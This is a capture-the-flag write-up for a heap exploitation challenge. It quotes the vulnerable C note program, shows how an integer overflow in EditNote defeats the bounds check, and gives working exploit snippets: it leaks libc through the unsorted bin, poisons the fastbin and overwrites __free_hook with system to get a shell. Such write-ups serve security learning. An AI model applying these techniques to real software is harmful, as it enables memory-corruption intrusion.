Introduction

I proudly released the world most secure note after aggressively tested the source code with AFL and CodeQL, and didn’t find any bugs.
Author: ptr-yudai

You can download the challenge archive from here

The Bug

Lets look the source code, the bug is in EditNote function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void EditNote(Note *note) {
  int offset, count, epos;

  /* Check if note is empty */
  if (!note->content)
    CHECK_FAIL("Note is empty");

  /* Input offset */
  printf("Offset: ");
  if (scanf("%d%*c", &offset) <= 0)
    exit(0); // IO error

  /* Input count */
  printf("Count: ");
  if (scanf("%d%*c", &count) <= 0)
    exit(0); // IO error

  /* Security check */
  if (offset < 0)
    CHECK_FAIL("Invalid offset");
  if (count <= 0)
    CHECK_FAIL("Invalid count");
  if ((epos = offset + count) < 0)
    CHECK_FAIL("Integer overflow");
  if (epos > note->size)
    CHECK_FAIL("Out-of-bound access");
  
  /* Edit content */
  printf("Content: ");
  ReadLine(&note->content[offset], count);
}


Variable offset, count and epos using integer. So we can trigger Integer overflow here. But how?
Value of INT_MAX is +2147483647.
Value of INT_MIN is -2147483648.
What if we input INT_MAX+1 or INT_MIN-1? What will happen? Here i wrote example program Example We can see if we input INT_MAX+1 it will convert to INT_MIN and if we input INT_MIN-1 it will convert to INT_MAX So with this we can bypass the security check by input INT_MIN+x to count, since int is 32bit then we can also by pass (epos = offset + count) < 0 lets try this.

Solution

Trigger Bug

First we create note with any size

add(0, 0x30, b'Linz')

Check the heap on gdb. Padnote2 Next we try edit with offset is the size and count INT_MIN-1. Padnote3 We can see we get no error from our input. Next we see the heap on gdb to check the result. Padnote4 Nice we successfully overwrite the top chunk with integer overflow.
Next step is we need to leak libc.

Leak LIBC

This part a bit challenging because when ce create note, it use calloc instead of malloc.
Also we only can malloc with 4 index.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void CreateNote(Note *note) {
  int size;
  char *content;

  /* Check if note is empty */
  if (note->content)
    CHECK_FAIL("Note is in use");

  /* Input data length */
  printf("Size: ");
  if (scanf("%d%*c", &size) <= 0)
    exit(0); // IO error

  /* Security check */
  if (size <= 0)
    CHECK_FAIL("Size must be larger than 0");

  /* Initialize note */
  if (!(content = (char*)calloc(sizeof(char), size)))
    CHECK_FAIL("Could not allocate the memory");

  /* Input content */
  printf("Content: ");
  ReadLine(content, size);

  note->content = content;
  note->size = size;
  ...
      if (index < 0 || index >= MAX_NOTE) {
      puts("Invalid index");
      continue;
    }
  ...
}

The different between calloc and malloc that i know calloc doesnt reuse tcache. So it is a bit tricky to leak libc.
Here how we can leak libc.

  1. Create 7 notes to fill tcache and delete it.
    for i in range(7):
     add(0, 0x60, str(i)*8)
     delete(0)
    
  2. Now Create 2 notes for initial overwrite
    add(0, 0x30, b'0'*8)
    add(1, 0x30 ,b'1'*8)
    
  3. Create big size malloc to get unsorted bin
    add(2, 0x440, b"2"*8)) #Unsorted bin
    add(3, 0x30, b'3'*8) #Small chunk
    

    Here how it looks like Padnote5

  4. Overwrite index 1 size, to 0x491 then we free index 1.
    edit(0, 0x30, -0x80000001, b'A'*8+p64(0x491))
    delete(1)
    

    Padnote6

  5. Create 1 note again, with this we can leak libc on index 2
    add(1, 0x30, b'1'*8)
    

    Padnote7

  6. Print note 2 to get libc leak
    view(2)
    p.recvuntil(b'Content: ')
    leak = u64(p.recvn(6)+b'\x00'*2)
    libc.address = leak - libc.sym['__malloc_hook'] & ~0xfff
    print(hex(libc.address))
    

    Padnote8

Gain Shell

We already get libc leak, for gaining the shell, we just use fastbin attack, i will not explain detail about fastbin attack here, you can read some article about that here.

  1. We clear notes index first, next create notes to prepare fastbin attack, since we already full tcache for size 0x60, so we create notes with size 0x60 because when we free it, it will move to fastbin.
    add(0, 0x60, b'0'*8)
    add(1, 0x60, b'1'*8)
    add(3, 0x60, b'3'*8)
    # delete 1 & 3 it will  ove to fastbin
    delete(3)
    delete(1)
    

    Padnote9

  2. Edit note index 0 to overwrite fastbin index 1, here i overwrite fastbin to __free_hook-xxxxx since we can overwrite __free_hook with overflow later.
    edit(0,0x60, -0x80000001, b'X'*8+p64(0x71)+p64(libc.address+0x1ed560+165))
    

    Padnote10

  3. Next create 2 notes, note index 2 will be calloc to our target
    add(1,0x60,b'/bin/sh\x00')
    add(3,0x60,b'\x00'*0x23+p64(0xdeadbeef))
    
  4. Calculate the offset to __free_hook then overwrite __free_hook to system, delete note 1 and SHELL! Padnote11
    edit(3,0x60-1-4,  -0x80000001, b'\x00'*0x14b8+p64(libc.sym['system']))
    delete(1)
    

    Paadnote12

You can see the full script here